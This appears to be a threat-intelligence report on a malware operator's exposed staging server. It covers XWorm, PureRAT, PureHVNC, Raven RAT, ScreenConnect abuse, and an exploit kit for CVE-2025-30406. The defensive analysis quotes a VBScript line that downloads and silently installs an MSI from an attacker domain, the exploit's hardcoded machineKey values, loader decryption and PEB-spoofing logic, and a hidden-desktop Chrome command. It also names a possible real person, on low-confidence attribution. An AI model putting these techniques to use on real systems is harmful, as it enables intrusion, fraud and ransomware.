ZeroTrace — Open Directory Exposure at 74.0.42.25

Campaign Identifier: ZeroTrace-MultiFamily-MaaS-74.0.42.25
Last Updated: March 19, 2026
Threat Level: HIGH

1. Executive Summary

ZeroTrace, a named threat actor corroborated by multiple independent security vendors, left their complete staging server open and accessible without authentication. The open directory at 74.0.42.25 exposed 4,750 files: four simultaneous RAT families, 9.1 million stolen credentials, 500 pre-staged phishing links, and an on-demand ransomware module — infrastructure active and undetected for 16+ months as of the analysis date (2026-03-16).

Overall risk: 8.8/10 HIGH. Full technical capabilities are dissected in §5. The risk table and business impact scenarios are in §3. Attribution and operator profile are in §8. Detection anchors (XWorm mutex 5tK099W0Z6AMZVxQ; PureRAT TCP preamble \x04\x00\x00\x00) and the full IOC feed are in §14–15.

Threat vector: Email phishing via Attachment.vbs delivers ScreenConnect, which the operator uses for persistent remote access behind a Social Security Administration PDF decoy. From that foothold, the operator can deploy XWorm (keylogger, ransomware), PureRAT (encrypted C2), or PureHVNC (hidden desktop sessions for invisible financial account takeover). The BAK3R credential cracker tests the 9.1 million combo list against Office 365. All four C2 services converge on 185.49.126.140 — blocking this single IP disrupts all four families simultaneously.

The OPSEC failure created an intelligence windfall. ZeroTrace accidentally exposed their own C2 panel, full Raven RAT source code, and identity-linked metadata, including operator handle Steffz and a Canva account linking to Stefan Yosifov (LOW confidence — single source). The operation remains active; 500 pre-generated phishing links have not been distributed as of discovery.

Primary detection actions: Block 185.49.126.140 (all ports) and 74.0.42.25. Deploy detection rules from the detection file. Full IOC feed: ioc-feeds/opendirectory-74-0-42-25-20260316-iocs.json.

2. Key Takeaways

1. Four Remote Access Tools on one server: a double-edged sword
The consolidation of XWorm, PureRAT, PureHVNC, and ScreenConnect C2 on a single IP (185.49.126.140) is an operational security failure by the operator — but it also means that blocking one IP simultaneously disrupts all four malware families. This is the highest-priority blocking action available to defenders.

2. On-demand ransomware is present — and this is not typical XWorm behavior Most commodity XWorm V5.6 deployments are RAT-only; the automated ransomware plugin is a premium-tier add-on not reliably present in cracked builds. Its presence here signals the actor obtained the full-capability builder, not a stripped baseline. The module is ready to push to any active victim with a single operator command — no additional staging required. Any confirmed XWorm infection on this C2 should be treated as a ransomware incident risk, not just a RAT infection.

3. The specific samples delivering PureRAT are undocumented
Two core PureRAT samples (Faidowra.dll and Zvafsyattl.exe) are absent from public sandbox databases, and the specific Aspdkzb → Zvafsyattl → Faidowra chain has not been documented in reviewed public research. The underlying technique — multi-stage ConfuserEx-obfuscated .NET loaders chaining via Assembly.Load() — is well established. What is novel is this particular sample set: these files had no prior public documentation. Hash-based detection will not catch them until the IOCs in this report are added to threat intelligence feeds.

4. The OPSEC failure created an intelligence windfall — but the operation remains active The operator’s accidental exposure of their C2 panel, full source code, 9.1 million credentials, and identity-linked metadata is a significant analytical opportunity. However, the operator appears unaware of this exposure as of the analysis date — the infrastructure remains active, and 500 pre-generated phishing links have not yet been distributed. The window for defensive action before those links are used is time-limited.

5. The operator is intermediate-level, but the toolkit capability is professional-grade The OPSEC failures (open directory, exposed C2 panel, debug logs in droppers) indicate an intermediate actor. However, the capabilities assembled through MaaS procurement (PureRAT subscription, XWorm cracked builder, ScreenConnect abuse) exceed what the operator could develop independently. The gap between the operator’s skill level and the toolkit’s capability is itself a threat intelligence signal: MaaS platforms enable actors of lower technical sophistication to deploy threats of higher capability.

3. Business Risk Assessment

Operational Impact — If Infection Is Confirmed

Immediate containment: Isolate affected systems; block confirmed C2 IPs; audit and revoke ScreenConnect sessions connected to adminxyzhosting[.]com:8041; rotate credentials for privileged and service accounts accessible from affected systems.

Investigation: Hunt all IOCs in this report across endpoints and network logs; audit ScreenConnect installations for non-corporate relay servers; examine network connections to 185.49.126.140 and 74.0.42.x.

Scope assessment: Identify affected systems, data accessed, credentials potentially captured by keylogger or browser theft plugin, and whether the XWorm ransomware module was deployed. Confirm whether PureHVNC established hidden browser sessions against financial or email accounts.

Ongoing monitoring: Watch for reinfection via bulk ScreenConnect links (500 pre-generated links remain in circulation); monitor for BEC indicators from any Office 365 accounts accessible from affected systems.

4. What Was Found: Malware Classification

Total sample inventory: 34 items (32 binaries + 4 scripts)

File Identifier — Primary Analysis Samples:

Full SHA256 hashes for all 34 samples are available in the IOC feed.

Sophistication assessment: Intermediate. The operator assembles commodity and MaaS tools (XWorm cracked builder, PureRAT subscription), augments them with a novel three-stage fileless loader chain (Aspdkzb cluster — not publicly documented), and has developed a custom Delphi RAT (Raven RAT, approximately 60% complete). The significant OPSEC failure — exposing the entire toolkit, source code, C2 panel, and credential database on an open directory — is inconsistent with a sophisticated organized group.

5. Technical Capabilities Deep-Dive

Executive Impact Summary:

• Business Risk: HIGH — on-demand ransomware, full remote control, credential theft, BEC-ready
• Detection Difficulty: HIGH — fileless loading, legitimate software abuse, sandbox evasion, ScreenConnect allow-listed by default
• Remediation Complexity: MODERATE — Registry Run persistence (user-space); ScreenConnect may be allow-listed; no firmware-level persistence identified
• Key Takeaway: The consolidation of four RAT C2 services on a single server is both an operational security failure by the threat actor and a defender’s advantage — blocking one IP disrupts all four malware families simultaneously.

5a. XWorm V5.6 RAT

Analyst note: XWorm is a commodity hacking tool distributed on underground forums in cracked form. It gives the attacker complete control of a victim’s computer — reading keystrokes, taking screenshots, stealing browser passwords, and encrypting files on demand.

Confidence: DEFINITE (static analysis — XClient.exe fully decompiled; C2 config decrypted)

C2 Configuration (AES-256 ECB decryption, key = MD5 of mutex 5tK099W0Z6AMZVxQ):

Confirmed Capabilities (from full decompilation of XClient.exe):

Remote Access:

• Hidden shell execution via Interaction.Shell(cmd, Hide)
• URL download and execute via WebClient.DownloadFile → Process.Start
• Drop and execute from C2: GZip payload → %TEMP%\[random6][ext] → powershell -ExecutionPolicy Bypass
• Fileless .NET execution (FM command): AppDomain.CurrentDomain.Load(bytes) — zero disk footprint

Surveillance:

• Screenshot capture (256×156 JPEG → GZip → Base64 → C2)
• Active window title + victim idle time sent every 10–15 seconds in beacon
• Webcam detection via avicap32.dll!capGetDriverDescriptionA
• Process keyword monitoring: fires alert to operator on keyword match in process titles
• Built-in keylogger (offline stub present; runtime-configured)

Credential Theft:

• RunRecovery plugin method — browser credential and stored data recovery

Destructive Capabilities:

• Ransomware module (XWorm.Ransomware.resources — 103,765 bytes embedded as resource)
  • Delivered via ENC/DEC plugin interface pushed from C2 — operator deploys to any active victim at will
  • Default ransom demand: $300 BTC (operator-configurable)
  • State machine prevents accidental double-encryption (RS flag)
• HTTP slow-POST DDoS (StartDDos): 20 threads, Content-Length: 5235 with no body, 2.5-second hold per connection, loops for operator-specified duration
• DNS hijacking (Shosts): overwrites C:\Windows\System32\drivers\etc\hosts
• Clipboard hijacking (Clipper): replaces BTC, ETH, TRC20 wallet addresses in clipboard

Lateral Movement:

• USB.exe propagation via Spread() flag — copies to all removable drives

Operator Configuration (runtime, stored at HKCU\SOFTWARE\XWorm):

• BotToken, Botid — Telegram victim notification (token not in binary; set at runtime)
• BTC, ETH, TRC20 — Clipper replacement wallet addresses (set at runtime)
• Sandbox detection: queries http://ip-api.com/line/?fields=hosting — exits if running in a hosting/VM environment

Why This Matters: The automated ransomware plugin is not a standard feature of commodity XWorm V5.6 builds — it is a premium-tier add-on absent from many cracked distributions. Its presence here confirms the operator obtained the full-capability builder, placing this actor above the baseline skill threshold of typical XWorm deployments. The module requires no additional staging: it is already embedded and can be pushed from the operator’s panel to any active victim with a single click, meaning even a low-value initial infection can become a ransomware incident at any time the operator chooses. The AES key seed (5tK099W0Z6AMZVxQ) is the same string as the mutex, meaning the mutex alone in memory is sufficient evidence to identify the key and decrypt intercepted C2 traffic.

5b. XwormLoader — 11-Stage Reflective PE Loader

Analyst note: XwormLoader is a native C++ binary that injects XWorm into memory without writing it to disk, then spoofs its own identity in the Windows process list to resemble a legitimate .NET Framework component — defeating both file-based antivirus and process-enumeration forensics.

Confidence: DEFINITE (static analysis — XwormLoader.exe fully reverse-engineered)

XwormLoader is an unusual finding in the XWorm ecosystem, which normally relies on pure .NET loading. It implements reflective PE loading (mapping an executable into memory without using the Windows loader) and then patches the process environment to erase its own forensic traces.

Loading sequence (11 stages):

1. main() calls FreeConsole() immediately — decoy strings (“random number generator”, “This is garbage code #0–9”) are permanently invisible even if run in a console
2. 292,352 encrypted bytes located at file offset 0x426218
3. Decryption: NOT(byte) - 0x3E per byte (single-pass arithmetic)
4. PE signature validation after decryption
5. Manual PE header and section mapping into allocated memory
6. Base relocation processing — corrects absolute addresses for load address delta
7. Import table resolution — LoadLibraryA + GetProcAddress for all dependencies
8. Memory page protection assignment per section (execute/read/write as appropriate)
9. PEB patching — replaces PEB->ImageBaseAddress with injected PE base, masking the real loader
10. LDR module path spoofing — writes fake C:\Windows\Microsoft.NET\Framework\... path to the loaded module list entry, making the injected module appear to be a legitimate .NET Framework component
11. Thread launch via CreateThread on entry point; for .NET payload: temporarily injects a fake .NET Framework path to assist CLR initialization, restores after 100ms

Zero disk writes at any stage. The embedded payload is confirmed .NET.

Key stages — decompiler evidence:

Stage 1 decryption loop (decompiler output, VA 0x00401060):

NOT each byte          ; bitwise complement
ADD 0x38               ; add 56
SUB 0x76               ; subtract 118  →  net: NOT(byte) - 0x3E per byte
MUL 0xDF               ; result never stored back — dead code / anti-disassembly artifact

Stage 9 PEB patching (VA 0x0040145f):

PEB = fs:[0x30]                              // get Process Environment Block via TEB
edi_7 = PEB->Ldr->InMemoryOrderModuleList   // LDR module list
PEB->ImageBaseAddress = new_base            // PEB+8: report injected PE as process image
LDR_MODULE->DllBase = new_base              // update module list base address

Stage 10 LDR path spoof (VA 0x004014a3):

LDR_MODULE->FullDllName.Buffer = "C:\\Windows\\Microsoft.NET\\Framework\\..."
LDR_MODULE->FullDllName.Length = lstrlenW(path) * 2
// For .NET payloads: restore original after CLR initialization (100ms delay)
LDR_MODULE->FullDllName = restore_original

Why This Matters: PEB patching and LDR path spoofing cause process-enumeration forensic tools to display C:\Windows\Microsoft.NET\Framework\... instead of the injected code — defeating tools that would otherwise flag an unsigned module loaded into memory. The mutex alone (5tK099W0Z6AMZVxQ) seeds the AES key used to decrypt XWorm’s C2 config, so recovering it from memory is sufficient to decrypt intercepted traffic.

Detection Method: Sysmon Event ID 8 (CreateRemoteThread) or EDR API telemetry for VirtualAlloc(PAGE_EXECUTE_READWRITE) followed by CreateThread. The decryption byte pattern F6 D0 2C 3E (NOT then SUB 0x3E) is a unique binary signature.

5c. PureRAT v4.1.9 and the Aspdkzb Loader Chain

Analyst note: PureRAT is a subscription RAT delivered here through a three-stage loader chain — each stage decrypts and reflectively loads the next entirely in memory, never touching the hard drive. The final payload communicates over TLS-encrypted ProtoBuf using a self-signed certificate pinned at build time.

Confidence: HIGH (88% — 11 independent technical signatures matched against published reports from Netresec, Check Point Research, Fortinet, and Derp.ca)

Novel findings (not in any reviewed public report):

• C2 IP 185.49.126.140 — not attributed to PureRAT in any reviewed public source
• Faidowra.dll (Stage 3) and Zvafsyattl.exe (Stage 2) hashes not present in web-accessible sandbox databases at analysis date
• Three-stage loader chain Aspdkzb → Zvafsyattl → Faidowra — these specific samples and their use as a PureRAT delivery chain are undocumented in public research; the underlying fileless .NET loading technique is well established

Three-Stage Fileless Loader Chain:

Stage 1: Aspdkzb.exe (ConfuserEx obfuscated, 312–325KB)
         — AES-256 + GZip decrypt of embedded payload
         — Assembly.Load() reflection → Stage 2 in memory (no disk write)

Stage 2: Zvafsyattl.exe (ConfuserEx, 325KB, entropy 7.97)
         — TEA (Tiny Encryption Algorithm) cipher in inner decryption
         — Assembly.Load() + GetExportedTypes reflection → Stage 3 in memory

Stage 3: Faidowra.dll (PureRAT v4.1.9, .NET Reactor 6.x, 770KB)
         — Full RAT payload; connects to 185.49.126.140:56001/56002/56003

ConfuserEx is a public .NET obfuscation tool (obfuscator/packer). TEA (Tiny Encryption Algorithm) is a block cipher used in the inner decryption. The .NET Reactor 6.x protection on Faidowra.dll adds a further layer of commercial obfuscation.

Config blob — how it is embedded (decompiled C#, Faidowra_Slayed.dll):

private static void ConcatFilteredChain()
{
    // Config stored inline as Base64 literal in IL — no external file
    OrderChain.m_ChainSummarizer = (DefinitionChooser)GroupedPredicate.AssessPredicate(
        Convert.FromBase64String("H4sIAAAAAAAEAIWUOc705hGEDSsQIFiCYodKB/i5b85e7vu+Z...")
        // H4sI = GZip magic (1F 8B 08) — blob is Base64(GZip(ProtoBuf))
    );
    // Pinned TLS certificate also extracted from the same config object:
    OrderChain._TesterUser = new X509Certificate2(
        Convert.FromBase64String(OrderChain.m_ChainSummarizer.EncryptSystem));
}

The encoding stack: inline Base64 → Convert.FromBase64String() → GZip decompress → ProtoBuf deserialize → DefinitionChooser config object. The C2 IP, ports, and TLS certificate are all stored in this single blob — no hardcoded strings appear in plaintext IL.

C2 Configuration (decoded from Base64 → GZip → ProtoBuf config blob):

C2 Protocol Architecture: Raw TCP \x04\x00\x00\x00 preamble → TLS (cert pinned to CN=Ayzyqztcoa) → 4-byte length-framed ProtoBuf messages. Approximately 84-type ProtoBuf discriminated union (published reports document 86 types — minor build-to-build variance). Random 20–40 second heartbeat interval — exact match to published behavioral signature (Derp.ca, Tier 3).

Evidence Supporting HIGH Confidence (11 signatures matched):

PureCoder Ecosystem Deployment: Both PureRAT (full RAT, ports 56001–56003) and PureHVNC (HVNC-only stub xh.exe, port 8000) operate simultaneously, both connecting to 185.49.126.140. The operator procured two separate PureCoder products and runs them in parallel.

Why This Matters: The TLS certificate NotBefore date of 2024-11-21 establishes that the PureRAT C2 has been operational since at least that date. The certificate was generated on a prior server (185.49.126.97) and migrated to 185.49.126.140, confirming infrastructure was pre-staged before weaponization. The four-byte TCP preamble \x04\x00\x00\x00 is an exceptionally reliable network detection signature — it appears on the wire before any TLS encryption and is not a standard protocol marker.

5d. PureHVNC — Hidden Desktop Control

Analyst note: HVNC (Hidden Virtual Network Computing) creates an invisible second desktop on the victim’s machine. The attacker logs into banking, cryptocurrency, and email accounts in this hidden session while the victim’s visible screen remains undisturbed — no alert fires because the hidden desktop is a legitimate Windows component.

Confidence: DEFINITE (PureRAT.exe internal name PureHVNC_GUI confirmed from config file; xh.exe C2 address hardcoded)

Components:

• PureRAT.exe (82.9MB) — PureHVNC operator GUI (PureBasic outer shell, BoxedApp SDK virtual filesystem, DNGuard inner protection). The 75.9MB .rsrc section contains a virtual filesystem. Internal name: PureHVNC_GUI.
• xh.exe (62,464 bytes) — VB.NET victim stub; C2 hardcoded to 185.49.126.140:8000; references internal component PHVNC.exe

BoxedApp SDK is a commercial virtual filesystem toolkit that bundles multiple executables and assets into a single binary. DNGuard is a .NET obfuscation/protection product.

Why This Matters: The same IP (185.49.126.140) appears hardcoded across three binaries from different families — XWorm (port 5000), PureRAT (ports 56001–56003), and PureHVNC (port 8000) — confirming single-operator control through one consolidated C2 server. Blocking this IP disrupts all three families simultaneously. Because the hidden desktop operates as a legitimate Windows component, most endpoint detection solutions do not flag HVNC activity; behavioral detections for unexpected CreateDesktop() calls are the reliable path.

5e. Raven RAT — Custom Delphi C2

Analyst note: Raven RAT is a custom C2 tool built by the operator in Delphi, approximately 60% complete. Despite its unfinished state it already implements keylogging, hidden desktop control, cryptocurrency wallet theft, and remote shell — alongside the operator’s own C2 panel accidentally uploaded to the same server.

Confidence: DEFINITE (full source code recovered from open directory; operator panel vicTest.exe accidentally uploaded)

Language: Embarcadero Delphi 12.0 Athens Enterprise (commercial IDE; requires purchase)

Confirmed Capabilities (from source code + binary decompilation):

• System survey beacon (opcode 0x49) — hardware and software inventory
• Keylogger — GetAsyncKeyState(0x0D/0x01) polling on Enter key and left mouse click

  Important distinction: This is a form-submission keylogger, not a full keystroke capture. It fires only on Enter key release (form submit) and left mouse button release (button click), then flushes whatever was typed into the accumulation buffer. Decompiled TOThread.Execute loop (disassembler (Binary Ninja) HLIL):

  while not TThread.Terminated:
    if GetAsyncKeyState(0x0D) != 0:       // Enter key down
      spin until Enter released
      if keystroke_buffer != empty:
        sub_6baa88(keystroke_buffer)       // send buffer to C2
      clear_buffer()
    if GetAsyncKeyState(0x01) != 0:       // Left mouse button down
      spin until button released
      if keystroke_buffer != empty:
        sub_6baa88(keystroke_buffer)       // send buffer to C2
      clear_buffer()
    sleep(1)
  

  This implementation avoids SetWindowsHookEx WH_KEYBOARD_LL — a commonly monitored API. GetAsyncKeyState is used legitimately by games and accessibility tools, generating no hook-registration events for security tools to observe.

• Process manager — kills processes via taskkill /f /im [name] via CreateProcessW(CREATE_NO_WINDOW)
• Remote shell — CreateProcessW
• File upload and execute — opcode 0x55: writes to %TEMP% via GetTempPathW, executes
• Screenshot capture — on-demand PNG via GDI+ (PNG level 7 compression)
• Hidden VNC (THiddenVNC/THiddenVNCThread/THVNCInputThread) via CreateDesktop(): creates isolated hidden Windows desktop; delta framing for bandwidth efficiency; callback port 6968
• Cryptocurrency wallet theft — four named TEdit (form field) targets: Exodus, Atomic Wallet, Guarda, Wasabi
• Persistence — writes SOFTWARE\Microsoft\Windows\CurrentVersion\Run key, value name WindowsService
• SOCKS proxy — full TIdSocksInfo implementation
• SSL/TLS — TIdSSLIOHandlerSocketBase compiled in

HVNC Implementation (from HVNC.pas source): Creates a hidden Windows desktop via CreateDesktop() with GENERIC_ALL access. Chrome is launched into the hidden desktop with all rendering acceleration disabled to ensure compatibility in the off-screen context:

cmd.exe /c "start /max chrome.exe --no-sandbox --allow-no-sandbox-job
  --disable-3d-apis --disable-gpu --disable-d3d11"

Delta framing transmits only changed screen regions. Input relay accepts 0x69 (keystroke via WM_KEYDOWN), 0x71 (mouse click via WM_LBUTTONDOWN/UP), 0x67 (full frame request). Callback port 6968. Requires Python 3.9.0 with Flask, requests, waitress for the relay server component.

Operator C2 Panel — vicTest.exe (Accidentally Uploaded):

• Caption: Raven Loader; panel build date: 04-13-2025
• Server listen port: 8777; HVNC callback port: 6968
• Operator handle: Steffz (hardcoded — “Welcome Back Steffz!”)
• About section credits: ZeroTrace / NeverTrace
• Operator real name recovered: Stefan Yosifov — recovered from pdf:Author XMP metadata embedded in Main.dfm source file (Canva account UAGcXl67Or4, document DAGlzS2GcRU, design title Raven Botnet - 1)

Important caveat on “Stefan Yosifov”: This name is the value of the pdf:Author XMP field in the Canva account that created the Raven RAT logo. Delphi strips this metadata during compilation — it appears in the source file only, not in the compiled binary. This represents a lead for further investigation, not confirmed attribution to a real person. Confidence for this as a real-world identity: LOW — single source, no independent corroboration found in accessible OSINT.

Why This Matters: The accidental upload of the operator’s C2 panel is the single biggest intelligence windfall in this campaign. It exposes the server architecture, the operator’s handle, the product branding, and embedded metadata leading to a Canva account. The use of a commercial Delphi IDE (Delphi 12.0 Athens Enterprise) indicates financial investment in development tooling, which is more consistent with a financially motivated individual than with a casual actor using free tools.

5f. ConnectWise ScreenConnect Abuse

Analyst note: ConnectWise ScreenConnect is a legitimate IT remote support tool. The attacker abuses it by tricking victims into installing it via a fake domain — most security products allow-list ScreenConnect by default, so no malware alert fires and the attacker gains persistent remote access.

Confidence: DEFINITE (DomainTools Iris HTTP server header confirmed on both operator domains; Attachment.vbs delivery chain fully analyzed; 500 pre-generated session links recovered)

Why ScreenConnect was chosen:

• Legitimately Authenticode-signed — passes binary reputation checks
• Classified as remote support software, not malware, by most antivirus/EDR solutions
• Permitted through corporate firewalls and allow-listed in many security policies
• No user interaction required once installed silently

Delivery Chain — Attachment.vbs (SHA256: fdca9ee6e64d67795cd48c5740fa54f509b00bff3e2e94d5f7863e21b23da7f6, 2,187 bytes):

1. VBScript requests UAC elevation via Shell.Application.ShellExecute with runas verb
2. Downloads ScreenConnect MSI using MSXML2.ServerXMLHTTP.6.0 with SSL certificate validation deliberately bypassed:

   oHTTP.setOption 2, 13056  ' 0x3300 — disables SSL cert validation entirely
   oHTTP.Open "GET", "https://chainconnects[.]net/Bin/support.ClientSetup.msi?e=Access&y=Guest", False
   oHTTP.Send
   

3. Silent install: msiexec /i [msi] /quiet ALLUSERS=2
4. Downloads and opens a real Social Security Administration PDF as victim decoy
5. Writes debug log to %TEMP%\test_debug.txt (OPSEC failure — timestamps and HTTP status codes visible to forensic analysts)

500 Pre-Generated Session Links (final_links.txt): Generated by screen.py (author: @rockbelling) via Chrome automation (Playwright) using the operator’s admin panel. Each link contains a unique UUID session identifier. Critically, all 500 links share the same static RSA public key (2048-bit, documented in Section 10 investigation guidance), confirming single-operator deployment. These links are ready for distribution via phishing, SMS, or social engineering and have not been used yet as of discovery.

Why This Matters: The combination of a legitimate signed installer, a decoy document, and a real domain name (chainconnects[.]net — note: mimics “ConnectWise ScreenConnect”) makes this delivery chain highly effective against users with basic security awareness training. The ?e=Access&y=Guest URL parameter pattern is consistent with documented ScreenConnect phishing campaigns using the Access+Guest session mode to allow unattended access.

5g. CVE-2025-30406 Exploit Kit

Analyst note: CVE-2025-30406 (CVSS 9.0) lets an attacker who possesses a web server’s machineKey configuration values execute arbitrary OS commands on that server. The exploit kit here contains a path-derived generator value unique to one specific application instance, confirming the operator already obtained that target’s web.config.

Confidence: HIGH (CISA KEV catalog — Tier 1; Huntress documentation — Tier 2; Stage 1 technical analysis confirmed exploit structure and hardcoded victim-specific values)

CVE Summary: CVSS 9.0. Affects Gladinet CentreStack and Triofox, and more broadly any ASP.NET application where an attacker has obtained the machineKey configuration values. Added to CISA KEV April 2025. Exploited as a zero-day before patch release.

Components Found:

• exploit.py — Python exploit script
• ysoserial.exe (SHA256: 3b62ba4040d0d470521dce089c13cd8491d1463acbcc8391a49923caa02c08e9) — public .NET deserialization exploit generator (GitHub: pwntester/ysoserial.net)
• server.py — HTTP listener to receive command output
• sctt.py — auxiliary script
• README (2).md — operator documentation

Hardcoded Victim-Specific Values:

validationKey: 5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16
generator:     3FE2630A (path-derived — unique to one deployed application instance)
algorithm:     HMACSHA256
gadget chain:  TextFormattingRunProperties (.NET WPF deserialization)

Exploitation Mechanism: The generator value 3FE2630A is derived from the application’s physical path on disk — it is mathematically unique to a single deployed application instance. Its presence in the exploit kit confirms the operator previously obtained the target’s web.config file. This is a targeted follow-on attack against a partially compromised system, not opportunistic mass exploitation.

The TextFormattingRunProperties gadget chain targets Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, which implements ISerializable. A malicious XAML payload in the ForegroundBrush property is parsed by XamlReader.Parse(), triggering System.Diagnostics.Process.Start() with attacker-controlled arguments — arbitrary OS command execution in the IIS worker process context.

Important Distinction: This exploit kit is NOT the Gladinet CentreStack mass-exploitation variant associated with the CL0P ransomware group (per Huntress reporting). The custom generator value confirms a non-Gladinet, non-mass-exploitation target. No overlap with CL0P TTPs or infrastructure was identified.

5h. BAK3R Office 365 Credential Cracker

Analyst note: BAK3R automatically tests stolen credential pairs against Microsoft Office 365 SMTP servers at 25 concurrent threads. Valid credentials are written to a separate file for use in business email compromise or further network access.

Confidence: DEFINITE (script recovered; BAD-BAK3R.txt confirms 58 recent failed O365 attempts on the server)

Author attribution (from Office_Cracker.py source): Telegram @BAK34_TMW; Discord 825505380452925470

Functionality:

• Target: smtp.office365.com:587 (SMTP AUTH / Microsoft 365)
• 25 concurrent threads; SMTP EHLO → STARTTLS → AUTH LOGIN per attempt
• On success: uses the compromised account itself to notify operator via email; writes to LIVE-BAK3R.txt
• Failed attempts logged to BAD-BAK3R.txt

Evidence of Active Use: BAD-BAK3R.txt containing 58 failed O365 authentication attempts was present on the server, confirming BAK3R has been actively run against the 9.1M credential database.

5i. PowerShell Fileless Droppers

Analyst note: puf.ps1 and sync.ps1 are 13-layer nested PowerShell droppers — each hex-decodes an embedded .NET PE and executes it via Assembly.Load() entirely in memory, writing nothing to disk. Standard antivirus file-scanning cannot detect a payload that never touches the hard drive.

Confidence: DEFINITE (scripts recovered and analyzed; MODERATE confidence they deliver an Aspdkzb-family payload based on size correlation)

Files: puf.ps1 (689KB) and sync.ps1 (671KB) — structurally identical 197-line fileless PE droppers

Anti-analysis: 13 levels of nested Try{} Catch{} blocks — makes automated parsing and emulation-based detection significantly harder

Mechanism:

1. Core function onyx hex-decodes the embedded PE ($gsod holds MZ/DOS header 4D5A9000...)
2. Embedded PE: 32-bit .NET assembly (~310KB), sections .text, .rsrc, .reloc
3. [System.Reflection.Assembly]::Load($bytes) — in-memory execution, no disk write
4. Two different builds: puf.ps1 PE timestamp 8FB8A667; sync.ps1 PE timestamp AF4EE2DB

Size correlation to Aspdkzb cluster: The decoded PE size (~310KB) correlates with the Aspdkzb Stage 1 files (312–325KB) — MODERATE confidence these droppers deliver the same loader family.

5j. vlc_boxed.exe — DGA-Capable Unknown Family

Analyst note: vlc_boxed.exe masquerades as a VLC media player component and uses a domain generation algorithm (DGA) to contact C2 — automatically generating new domain names at runtime, making IP or domain blacklisting ineffective. The inner payload family remains unidentified because Enigma Virtual Box protection blocks static analysis.

Confidence: HIGH for DGA behavior (dynamically confirmed); INSUFFICIENT for inner payload family identification (Enigma Virtual Box protection prevents static analysis; family unidentified)

Dynamic Analysis Findings (behavioral sandbox (Noriben)):

• T+1s: Anti-analysis probe — opened %UserProfile%\.MalwareAnalysis\Scripts\Noriben\dll_log.txt — environment-aware; confirmed sandbox detection capability (DEFINITE)
• T+1s: Persistence established — HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vlctask = %APPDATA%\vlcapp\vlc.exe
• Target binary %APPDATA%\vlcapp\vlc.exe NOT dropped — C2 gating; payload requires successful C2 contact before download
• DNS queries via svchost.exe (Windows DNS Client) to FakeNet listener — DGA domains not captured in FakeNet logs; PCAP (packets_20260314_221202.pcap) available for future extraction
• 8 virtual filesystem components extracted by Enigma VB at runtime: sizes 116KB, 184KB, 208KB, 460KB, 516KB, 1.7MB, 4.7MB (evb3489.tmp — primary payload module candidate)
• Process survived full 300-second analysis window; 2 threads only; no child processes

Analysis Gap: The 4.7MB evb3489.tmp component requires unpacking in an isolated VM to identify the inner payload family. DGA domain names not captured — PCAP extraction recommended.

Enigma Virtual Box is a commercial application virtualization tool.

6. Attack Chain Reconstruction — Kill Chain

Analyst note: This section reconstructs the full attack chain from initial access through persistence and fraud. Three parallel delivery vectors are documented; most victim encounters begin with Vector A (phishing email).

Phase 1: Initial Access — Three Parallel Vectors

Analyst note: Three concurrent access vectors operate simultaneously — phishing email (VBScript dropper), bulk ScreenConnect link distribution, and a targeted server-side exploit (CVE-2025-30406). All three are documented with full technical evidence.

Vector A — Email Phishing via VBScript (ScreenConnect): Victim receives phishing email with Attachment.vbs → user double-clicks → Windows UAC prompt appears → user approves → Attachment.vbs silently downloads ScreenConnect MSI from chainconnects[.]net/Bin/support.ClientSetup.msi?e=Access&y=Guest (SSL validation deliberately bypassed) → msiexec /i [msi] /quiet ALLUSERS=2 installs silently → ScreenConnect connects to adminxyzhosting[.]com:8041 → SSA PDF decoy opens to distract victim → operator has persistent GUI remote access.

Vector B — Bulk Phishing Link Distribution (ScreenConnect): screen.py (run from operator’s Windows Administrator session) automates Chrome via Playwright to bulk-generate 500 unique ScreenConnect session links → links distributed via phishing email, SMS, or social engineering → victim clicks link → Update.Client.exe downloads from adminxyzhosting[.]com → connects to relay → operator has persistent access.

Vector C — Server-Side Exploitation (CVE-2025-30406): Operator possesses victim web server’s web.config (from prior access) → exploit.py + ysoserial.exe generates HMACSHA256-signed ViewState payload using stolen validationKey and path-derived generator 3FE2630A → HTTP POST to vulnerable ASP.NET endpoint → server deserializes payload → TextFormattingRunProperties gadget triggers XamlReader.Parse() → arbitrary OS command executes → output exfiltrated to server.py HTTP listener → full RCE on web server with IIS worker process privileges.

Phase 2: Payload Staging (Post-Initial-Access)

Analyst note: After initial access via ScreenConnect or CVE RCE, the operator executes a PowerShell fileless dropper that chains through three loader stages entirely in memory — no disk writes at any stage, defeating file-based antivirus.

Once initial access is established (ScreenConnect or CVE RCE):

Step 1: puf.ps1 or sync.ps1 executed via remote shell Step 2: PowerShell decodes hex-embedded PE entirely in memory (13 levels of nested anti-analysis wrappers) Step 3: [System.Reflection.Assembly]::Load($bytes) — .NET assembly executed from memory Step 4: Aspdkzb Stage 1 executes → AES-256+GZip decrypt → Assembly.Load() → Zvafsyattl Stage 2 in memory Step 5: TEA cipher decrypt → Assembly.Load() → Faidowra.dll Stage 3 in memory Step 6: PureRAT v4.1.9 initializes, connects to 185.49.126.140:56001 (or 56002/56003 on retry)

Phase 3: RAT Deployment and Persistence

Analyst note: The operator installs multiple RAT families in parallel — if one is detected and removed, the others maintain access. Registry Run key persistence ensures all survive reboots. ScreenConnect persists as a legitimate Windows service, which standard malware-removal tools may not uninstall.

XWorm path: XwormLoader.exe → 11-stage reflective load (no disk write) → XWorm .NET stub active in memory → connects 185.49.126.140:5000 → full RAT active (keylogger, screenshot, credentials, HVNC, proxy, ransomware on-demand)

Raven RAT path (when operator chooses to deploy): Operator runs vicTest.exe on their server (port 8777 listener) → compiled victim stub deployed to target → victim stub connects to [operator IP]:8777 → HVNC creates hidden Windows desktop → Chrome launched in hidden session with no-sandbox flags → operator controls browser session invisibly

Persistence mechanisms installed:

• HKCU\SOFTWARE\XWorm — XWorm runtime configuration storage
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vlctask = %APPDATA%\vlcapp\vlc.exe (vlc_boxed.exe)
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsService (Raven RAT)
• ScreenConnect service installed as legitimate remote support software (persists as Windows service)

Phase 4: Credential Harvesting and Fraud

Analyst note: With access and persistence established, the operator runs four credential-theft and fraud channels in parallel — keylogger, browser credential recovery, HVNC hidden sessions for financial account takeover, and clipboard hijacking for cryptocurrency theft.

